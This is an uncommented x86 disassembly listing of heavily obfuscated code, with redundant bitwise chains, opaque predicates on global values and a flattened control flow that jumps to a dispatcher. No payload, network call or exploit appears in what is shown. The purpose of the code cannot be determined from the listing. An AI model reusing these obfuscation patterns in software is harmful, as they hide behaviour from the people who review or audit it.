mov byte [ebp - 0x32c2], cl
mov cl, byte [ebp - 0x32c0]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x32c3], al
mov al, byte [ebp - 0x32c0]
and dh, al
mov al, byte [ebp - 0x32c1]
mov byte [ebp - 0x32c4], cl
mov cl, byte [ebp - 0x32c3]
or al, cl
mov cl, byte [ebp - 0x32c4]
or cl, dh
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0x32c0]
or cl, 1
and bl, cl
or al, bl
mov cl, dl
xor cl, 0
mov dh, byte [ebp - 0x32bf]
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x32c5], al
mov al, bl
and al, 0
mov byte [ebp - 0x32c6], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x32c7], al
mov al, byte [ebp - 0x32bf]
and al, bl
mov byte [ebp - 0x32c8], al
mov al, byte [ebp - 0x32c6]
or bh, al
mov al, byte [ebp - 0x32c7]
mov byte [ebp - 0x32c9], cl
mov cl, byte [ebp - 0x32c8]
or al, cl
xor bh, al
mov al, byte [ebp - 0x32c9]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, byte [ebp - 0x32c5]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x32c5]
and dh, cl
or al, dh
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x32b4]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x32b4]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ah
and bh, bl
mov byte [ebp - 0x32ca], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 1
and al, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x32cb], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x32cc], al
mov al, byte [ebp - 0x32cb]
or al, bh
mov bh, byte [ebp - 0x32cc]
or bh, bl
xor al, bh
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x32cd], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0x32cd]
xor al, 0xff
mov bh, byte [ebp - 0x32b4]
xor bh, al
mov al, byte [ebp - 0x32b4]
and bh, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x32ce], al
mov al, dl
xor al, 1
mov byte [ebp - 0x32cf], al
mov al, dl
xor al, 0
mov byte [ebp - 0x32d0], al
mov al, byte [ebp - 0x32ce]
mov byte [ebp - 0x32d1], cl
mov cl, byte [ebp - 0x32cf]
or al, cl
mov cl, byte [ebp - 0x32d0]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x32cd]
xor cl, 0xff
mov byte [ebp - 0x32d2], al
mov al, ah
xor al, cl
and al, ah
mov cl, bl
and cl, bh
xor bl, bh
or cl, bl
mov ah, byte [ebp - 0x32d2]
and ah, al
mov bl, byte [ebp - 0x32d2]
xor bl, al
or ah, bl
mov al, cl
xor al, 0xff
mov bl, ah
and bl, al
xor ah, 0xff
and cl, ah
or bl, cl
mov al, byte [ebp - 0x32d1]
and al, dh
mov cl, byte [ebp - 0x32d1]
xor cl, dh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, dl
xor al, 1
mov ah, byte [ebp - 0x32cd]
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x32d3], al
mov al, dh
and al, 1
mov byte [ebp - 0x32d4], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x32d5], al
mov al, byte [ebp - 0x32cd]
and al, dh
mov byte [ebp - 0x32d6], al
mov al, byte [ebp - 0x32d4]
or bh, al
mov al, byte [ebp - 0x32d5]
mov byte [ebp - 0x32d7], cl
mov cl, byte [ebp - 0x32d6]
or al, cl
xor bh, al
mov al, byte [ebp - 0x32d3]
or al, ah
xor al, 0xff
or dh, 1
and al, dh
or bh, al
mov al, byte [ebp - 0x32d7]
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
and cl, al
xor bl, al
or cl, bl
mov al, byte [ebp - 0x32ca]
xor al, 0xff
mov ah, byte [ebp - 0x32c2]
xor ah, al
mov al, byte [ebp - 0x32c2]
and ah, al
xor al, 0xff
mov dh, byte [ebp - 0x32ca]
and dh, al
mov al, byte [ebp - 0x32ca]
xor al, 0xff
mov bl, byte [ebp - 0x32c2]
and bl, al
or dh, bl
mov al, ah
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x32d8], al
and al, 0xff
and ah, bh
mov byte [ebp - 0x32d9], al
mov al, bl
and al, 0xff
and dh, bh
mov byte [ebp - 0x32da], al
mov al, byte [ebp - 0x32d9]
or al, ah
mov ah, byte [ebp - 0x32da]
or ah, dh
xor al, ah
mov ah, byte [ebp - 0x32d8]
or ah, bl
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, cl
and bl, dh
or ah, bl
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
and al, bl
or ah, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, dh
and cl, al
xor dh, al
or cl, dh
mov al, byte [ebp - 0x32a1]
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov dh, byte [ebp - 0x32a1]
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, byte [ebp - 0x329b]
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x329b]
and bl, dh
or ah, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x32db], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 1
mov bl, byte [ebp - 0x32db]
xor bl, al
mov al, byte [ebp - 0x32db]
and bl, al
mov bh, byte [ebp - 0x32a1]
xor bh, 0xff
mov al, dh
xor al, 0xff
mov byte [ebp - 0x32dc], al
mov al, dl
xor al, 0
mov byte [ebp - 0x32dd], al
mov al, byte [ebp - 0x32dc]
or bh, al
mov al, byte [ebp - 0x32dd]
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x32de], al
mov al, dl
xor al, 1
mov byte [ebp - 0x32df], al
mov al, dl
xor al, 1
mov byte [ebp - 0x32e0], al
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x32e1], cl
mov cl, byte [ebp - 0x32df]
or al, cl
mov cl, byte [ebp - 0x32e0]
or cl, 1
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x32e2], al
mov al, byte [ebp - 0x329b]
xor al, cl
mov cl, byte [ebp - 0x329b]
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x32e3], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x32e4], al
mov al, dl
xor al, 1
mov byte [ebp - 0x32e5], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x32e6], al
mov al, byte [ebp - 0x32e5]
and bl, al
mov al, byte [ebp - 0x32e4]
and al, 0xff
mov byte [ebp - 0x32e7], al
mov al, byte [ebp - 0x32e5]
and bh, al
mov al, byte [ebp - 0x32e6]
or al, bl
mov bl, byte [ebp - 0x32e7]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0x32e4]
or cl, bl
xor cl, 0xff
mov bh, byte [ebp - 0x32e5]
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x32e2]
xor cl, 0xff
mov bh, byte [ebp - 0x32e3]
xor bh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x32e8], al
mov al, cl
and al, 0
mov byte [ebp - 0x32e9], al
mov al, byte [ebp - 0x32e2]
and al, bl
mov byte [ebp - 0x32ea], al
mov al, bh
and al, 0
mov byte [ebp - 0x32eb], al
mov al, byte [ebp - 0x32e3]
and al, bl
mov byte [ebp - 0x32ec], al
mov al, byte [ebp - 0x32e9]
mov byte [ebp - 0x32ed], cl
mov cl, byte [ebp - 0x32ea]
or al, cl
mov cl, byte [ebp - 0x32eb]
mov byte [ebp - 0x32ee], al
mov al, byte [ebp - 0x32ec]
or cl, al
mov al, byte [ebp - 0x32ee]
xor al, cl
mov cl, byte [ebp - 0x32ed]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, byte [ebp - 0x32e8]
xor cl, 0xff
and cl, 0
mov bl, dl
xor bl, 0
mov bh, byte [ebp - 0x32e8]
and bh, bl
mov byte [ebp - 0x32ef], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x32f0], al
mov al, byte [ebp - 0x32ef]
and al, bl
or cl, bh
mov bl, byte [ebp - 0x32f0]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x32db]
and al, ah
mov bl, byte [ebp - 0x32db]
xor bl, ah
or al, bl
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
and al, bl
or ah, al
mov al, dh
and al, 1
xor dh, 1
or al, dh
xor ah, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
and cl, bl
mov byte [ebp - 0x32f1], al
mov al, dh
and al, 0xff
and ah, bl
or bh, cl
or al, ah
xor bh, al
mov al, byte [ebp - 0x32f1]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, bh
and ah, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ah
or dh, cl
xor al, dh
mov cl, dl
xor cl, 0
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
mov dh, ah
and dh, 0
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
xor bh, 0xff
mov ah, al
xor ah, 0xff
mov dh, dl
xor dh, 1
or bh, ah
or dh, 1
xor bh, 0xff
and bh, dh
mov ah, dl
xor ah, 1
and ah, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov byte [ebp - 0x32f2], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or ah, bl
or al, dh
xor ah, al
xor ah, 0xff
mov al, dl
xor al, 0
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, dl
xor al, 1
mov dh, byte [ebp - 0x32f2]
xor dh, 0xff
mov bl, dl
xor bl, 0
or al, dh
or bl, 0
xor al, 0xff
and al, bl
mov dh, cl
xor dh, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x32f3], al
mov al, dl
xor al, 1
mov byte [ebp - 0x32f4], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x32f5], al
mov al, byte [ebp - 0x32f4]
and cl, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x32f6], al
mov al, byte [ebp - 0x32f4]
and bh, al
mov al, byte [ebp - 0x32f5]
or al, cl
mov cl, byte [ebp - 0x32f6]
or cl, bh
xor al, cl
or dh, bl
xor dh, 0xff
mov cl, byte [ebp - 0x32f4]
or cl, 1
and dh, cl
or al, dh
mov cl, ah
mov dh, byte [ebp - 0x32f3]
and cl, dh
xor ah, dh
or cl, ah
mov ah, al
xor ah, 0xff
mov bl, cl
and bl, ah
xor cl, 0xff
and al, cl
or bl, al
mov al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
mov ah, ch
and ah, cl
xor ch, 0xff
and ch, 1
or ah, ch
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or al, bl
or ch, ah
xor al, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and cl, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, cl
or bl, ch
xor ah, bl
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
and ch, 0
or cl, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov al, dl
xor al, 0
mov ah, cl
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov dh, bl
and dh, 0
mov byte [ebp - 0x32f7], al
mov al, ah
and al, 0xff
and cl, bl
or bh, dh
or al, cl
xor bh, al
mov al, byte [ebp - 0x32f7]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, ch
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and ch, cl
mov ah, dl
xor ah, 1
and ah, 0
and cl, 1
or al, ch
or ah, cl
xor al, ah
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, cl
xor al, 0xff
mov ah, byte [ebp - 0x32e1]
xor ah, al
mov al, byte [ebp - 0x32e1]
and ah, al
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov dh, byte [ebp - 0x32e1]
and dh, ch
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ch
or al, dh
or bl, cl
xor al, bl
mov cl, ah
xor cl, 0xff
mov ch, al
xor ch, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and ah, dl
mov bl, ch
and bl, 0xff
and al, dl
or dh, ah
or bl, al
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x3284]
mov edi, dword [ebp - 0x3290]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x457e4e76
mov ecx, 0x49ad74dd
mov dl, 1
xor esi, esi
mov edi, 0xdaa4c7aa
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x3320], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x3324], eax
mov eax, esi
sub eax, ebx
add eax, 0
mov dword [ebp - 0x3328], eax
mov eax, esi
sub eax, 0xcb009d66
sub eax, 0xd6d7c0ba
add eax, 0xcb009d66
mov dword [ebp - 0x332c], eax
mov eax, dword [ebp - 0x3328]
add eax, 0xd61da1fd
mov dword [ebp - 0x3330], ecx
mov ecx, dword [ebp - 0x332c]
add eax, ecx
sub eax, 0xd61da1fd
mov ecx, esi
sub ecx, 0xb2762f93
sub ecx, eax
add ecx, 0xb2762f93
add edi, 0
sub edi, 1
sub edi, 0xdaa4c7aa
add ecx, 0x2e1fa5a6
add ecx, edi
sub ecx, 0x2e1fa5a6
mov eax, esi
sub eax, 0x72ae9fc
sub eax, 0xd6d7c0ba
add eax, 0x72ae9fc
mov edi, esi
sub edi, ecx
mov ecx, esi
sub ecx, eax
add edi, ecx
sub esi, edi
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x3324]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
mov bl, ah
and bl, cl
xor ah, cl
or bl, ah
mov cl, dl
xor cl, 1
mov ah, ch
xor ah, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3331], al
mov al, cl
and al, 0
mov byte [ebp - 0x3332], al
mov al, bh
and al, 1
mov byte [ebp - 0x3333], al
mov al, ah
and al, 0
and ch, bh
mov byte [ebp - 0x3334], al
mov al, byte [ebp - 0x3332]
mov byte [ebp - 0x3335], cl
mov cl, byte [ebp - 0x3333]
or al, cl
mov cl, byte [ebp - 0x3334]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3335]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bl, ah
or cl, bl
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
or al, ch
xor al, 0xff
mov ah, byte [ebp - 0x3331]
xor ah, al
mov al, byte [ebp - 0x3331]
and ah, al
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov bl, byte [ebp - 0x3331]
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or al, bl
or bh, ch
xor al, bh
xor dh, 0xff
xor al, 0xff
mov ch, dl
xor ch, 0
or dh, al
or ch, 0
xor dh, 0xff
and dh, ch
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, al
xor ch, 0xff
and ch, 0
mov dh, dl
xor dh, 0
mov bl, al
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x3336], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
mov bl, ah
xor bl, al
and bl, ah
mov al, dh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, dl
xor al, 0
mov cl, ch
xor cl, al
and cl, ch
mov al, byte [ebp - 0x3336]
xor al, 0xff
mov byte [ebp - 0x3337], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x3338], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3339], al
mov al, byte [ebp - 0x3337]
mov byte [ebp - 0x333a], cl
mov cl, byte [ebp - 0x3338]
or al, cl
mov cl, byte [ebp - 0x3339]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x333b], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x333c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x333d], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x333e], al
mov al, byte [ebp - 0x333d]
and bl, al
mov al, byte [ebp - 0x333c]
and al, 0xff
mov byte [ebp - 0x333f], al
mov al, byte [ebp - 0x333d]
and bh, al
mov al, byte [ebp - 0x333e]
or al, bl
mov bl, byte [ebp - 0x333f]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0x333c]
or cl, bl
xor cl, 0xff
mov bh, byte [ebp - 0x333d]
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x333a]
xor cl, 0xff
mov bh, byte [ebp - 0x333b]
xor bh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x3340], al
mov al, cl
and al, 0
mov byte [ebp - 0x3341], al
mov al, byte [ebp - 0x333a]
and al, bl
mov byte [ebp - 0x3342], al
mov al, bh
and al, 0
mov byte [ebp - 0x3343], al
mov al, byte [ebp - 0x333b]
and al, bl
mov byte [ebp - 0x3344], al
mov al, byte [ebp - 0x3341]
mov byte [ebp - 0x3345], cl
mov cl, byte [ebp - 0x3342]
or al, cl
mov cl, byte [ebp - 0x3343]
mov byte [ebp - 0x3346], al
mov al, byte [ebp - 0x3344]
or cl, al
mov al, byte [ebp - 0x3346]
xor al, cl
mov cl, byte [ebp - 0x3345]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, byte [ebp - 0x3340]
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x3340]
and bh, bl
mov byte [ebp - 0x3347], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x3348], al
mov al, byte [ebp - 0x3347]
and al, bl
or cl, bh
mov bl, byte [ebp - 0x3348]
or bl, al
xor cl, bl
mov al, ah
xor al, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3349], al
and al, 0
and ah, bh
mov byte [ebp - 0x334a], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x334b], al
mov al, byte [ebp - 0x334a]
or al, ah
mov ah, byte [ebp - 0x334b]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x3349]
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
or ah, al
mov al, dh
and al, 0
xor dh, 0
or al, dh
xor ah, 0xff
xor al, 0xff
xor dl, 0
or ah, al
or dl, 0
xor ah, 0xff
and ah, dl
mov al, cl
and al, ah
xor cl, ah
or al, cl
test al, 1
mov esi, dword [ebp - 0x3320]
mov edi, dword [ebp - 0x3330]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xc872d73c
mov ecx, 0xcaf549bd
mov dl, 1
mov esi, 0x34c5714b
xor edi, edi
mov ebx, dword [ebp - 0x30]
cmp dword [ebx], 0
setne dh
and dh, 1
mov byte [ebp - 0x16], dh
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x3438], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x343c], eax
mov eax, edi
sub eax, 0x9051e48f
sub eax, 0x8e9c127a
add eax, 0x9051e48f
mov dword [ebp - 0x3440], eax
mov eax, ebx
sub eax, 0xee81e0ff
mov dword [ebp - 0x3444], ecx
mov ecx, dword [ebp - 0x3440]
add eax, ecx
add eax, 0xee81e0ff
mov ecx, edi
sub ecx, 0x332059fc
add eax, ecx
mov ecx, edi
sub ecx, 1
add eax, ecx
mov ecx, edi
sub ecx, eax
mov eax, edi
sub eax, 0x332059fc
add ecx, eax
mov eax, edi
sub eax, ecx
mov ecx, edi
sub ecx, eax
add ecx, 0
mov eax, edi
sub eax, 0x52b76012
sub eax, 0x8e9c127a
add eax, 0x52b76012
sub edi, eax
sub ecx, edi
add esi, 0
sub esi, ecx
sub esi, 0x34c5714b
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x343c]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, al
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov bl, dh
and bl, ch
mov bh, ah
xor bh, 0xff
and bh, 0
and ah, ch
or cl, bl
or bh, ah
xor cl, bh
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 1
and ah, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x3445], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, ah
xor al, 0xff
mov bl, dh
xor bl, al
and bl, dh
mov al, byte [ebp - 0x3445]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x3445]
and bh, dh
mov byte [ebp - 0x3446], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x3447], al
mov al, byte [ebp - 0x3446]
or al, bh
mov bh, byte [ebp - 0x3447]
or bh, dh
xor al, bh
mov dh, dl
xor dh, 1
mov bh, al
xor bh, dh
and bh, al
mov al, byte [ebp - 0x3445]
xor al, 0xff
xor ah, 0xff
mov dh, dl
xor dh, 0
or al, ah
or dh, 0
xor al, 0xff
and al, dh
mov ah, ch
xor ah, 0xff
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0x3448], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3449], al
mov al, ah
and al, 0
mov byte [ebp - 0x344a], al
mov al, byte [ebp - 0x3449]
and ch, al
mov al, dh
and al, 0
mov byte [ebp - 0x344b], al
mov al, byte [ebp - 0x3449]
and bl, al
mov al, byte [ebp - 0x344a]
or al, ch
mov ch, byte [ebp - 0x344b]
or ch, bl
xor al, ch
or ah, dh
xor ah, 0xff
mov ch, byte [ebp - 0x3449]
or ch, 0
and ah, ch
or al, ah
mov ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x3448]
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, ah
and bl, 0
and bh, dh
mov byte [ebp - 0x344c], al
mov al, ch
and al, 0
mov byte [ebp - 0x344d], al
mov al, byte [ebp - 0x3448]
and al, dh
or bl, bh
mov bh, byte [ebp - 0x344d]
or bh, al
xor bl, bh
or ah, ch
xor ah, 0xff
or dh, 0
and ah, dh
or bl, ah
mov al, byte [ebp - 0x344c]
xor al, 0xff
mov ah, bl
and ah, al
xor bl, 0xff
mov al, byte [ebp - 0x344c]
and al, bl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or al, dh
or bl, ch
xor al, bl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bl, ah
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x344e], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, dh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, ch
xor al, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0x344f], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3450], al
mov al, byte [ebp - 0x344f]
or al, cl
mov cl, byte [ebp - 0x3450]
or cl, 1
xor al, 0xff
and al, cl
xor ah, 0xff
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x3451], al
mov al, dl
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, bl
and al, bh
xor bl, bh
or al, bl
mov cl, byte [ebp - 0x3451]
xor cl, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3452], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x3453], al
mov al, byte [ebp - 0x3451]
and al, bh
mov byte [ebp - 0x3454], al
mov al, bl
and al, 0xff
and ah, bh
mov byte [ebp - 0x3455], al
mov al, byte [ebp - 0x3453]
mov byte [ebp - 0x3456], cl
mov cl, byte [ebp - 0x3454]
or al, cl
mov cl, byte [ebp - 0x3455]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x3456]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x3452]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x3452]
and cl, al
or ah, cl
mov al, byte [ebp - 0x344e]
and al, ch
mov cl, byte [ebp - 0x344e]
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or cl, al
or bl, ch
xor cl, bl
mov al, dl
xor al, 0
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x3457], al
mov al, bl
and al, 0
mov byte [ebp - 0x3458], al
mov al, ch
and al, 0
and dh, bl
mov byte [ebp - 0x3459], al
mov al, byte [ebp - 0x3458]
or bh, al
mov al, byte [ebp - 0x3459]
or al, dh
xor bh, al
mov al, byte [ebp - 0x3457]
or al, ch
xor al, 0xff
or bl, 0
and al, bl
or bh, al
xor cl, 0xff
xor bh, 0xff
xor dl, 0
or cl, bh
or dl, 0
xor cl, 0xff
and cl, dl
mov al, ah
and al, cl
